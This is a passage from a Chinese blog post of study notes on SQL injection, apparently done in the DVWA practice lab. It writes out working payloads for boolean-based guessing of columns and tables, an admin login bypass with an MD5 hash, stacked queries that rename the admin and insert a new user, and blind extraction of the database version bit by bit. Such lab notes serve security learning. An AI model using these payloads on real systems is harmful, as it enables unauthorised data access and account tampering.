SQL注入(二)

SQL注入(二)

普通用户权限

  • 无权读取information_schema库/union、order by无法使用
  • 有返回sql语句错误提示,可以进行sql注入
通过布尔类型猜测
猜测字段名
  • ' and column is null-- 不存在该字段时会报错,而存在该字段则可能不输入任何信息
  • 使用穷举法将所有可能的字段进行尝试,可以使用burpsuite的intruder
    • 只能说明这些字段存在,不能说明这是所有的字段
猜测当前的表名
  • 通过上一步可以查到确定存在的字段名可以通过使用' and table.user=null --来确定这个table表中是否有user字段来确定是否存在这个表,一般只能判断当前表
  • 在这里插入图片描述
猜测数据库其他表名
  • 也可以使用' and (select count(*) from table)>0--来判断是否存在table表,可以判断库中的其他表
  • 在这里插入图片描述
    • 和前期使用sql直接查询出来的还是有些差距,查询出结果的准确基本是靠字典的质量好坏。
猜测字段内容
  • 可以使用模糊查询like
  • ' or user like '%a%查找范围一下子变大
  • 可以使用爆破替换字符’a’
猜测账号对应的密码
  • ' or user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99
  • 该数据库使用md5值加密,可以将密码字典先进行md5加密再进行爆破
使用分号
  • mysql里面一行命令可以使用分号同时执行两条语句,不需要破解密码
  • ;update users set user='lzbzzz" where user ='admin
  • 实验环境因为网页代码问题不能使用分号
  • '; INSERT INTO users (' user_id',' first_name',' last_name',' user','password','avatar') VALUES (‘35',‘zbzz',‘l',‘lzb','5f4dcc3b5aa765d61d8327deb882cf99','OK');--+
    • 插入一个用户

Medium安全级别

  • 在所有的特殊符号前面添加一个转义符""
  • 输入的内容两边不再有两个单引号,不需要闭合
  • 可以直接输入 0 union select null,database(),不再需要添加’

high安全级别

  • 直接限制输入的数据类型过滤掉其他所有的输入数据
  • 安全级别高
  • 输入的类型限制为int型

SQL盲注

  • 一般的sql注入,页面会直接返回mysql返回的报错信息,有助于开发人员发现和修复问题。
  • 当不显示内建数据库返回的报错信息,只提供一个通用的错误信息。sql注入无法依据错误信息进行判断信息—sql盲注
  • 没有错误信息的提示,只能基于返回的查询结果进行真假的逻辑判断
    • 1' and 1=1 -- 查看网页是否对数据有过滤,如果能返回查询结果则可以进行sql盲注。
    • 与前面基本一致
    • 使用二进制查询信息
      1' and ORD(MID((VERSION()),2,1))&1>0--+ 
      ORD()转换为ACSII码
      MID()从第二位开始截取VERSION()后一位
      &1--表示截取出来的acsii和00000001进行与运算
      改变&1为&2,&4.......&128
      可以根据真返回结果假没有任何结果返回,推算出想要获得信息的第一位的acsii
      在使用mid()截取其他字符进行如上操作
      
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值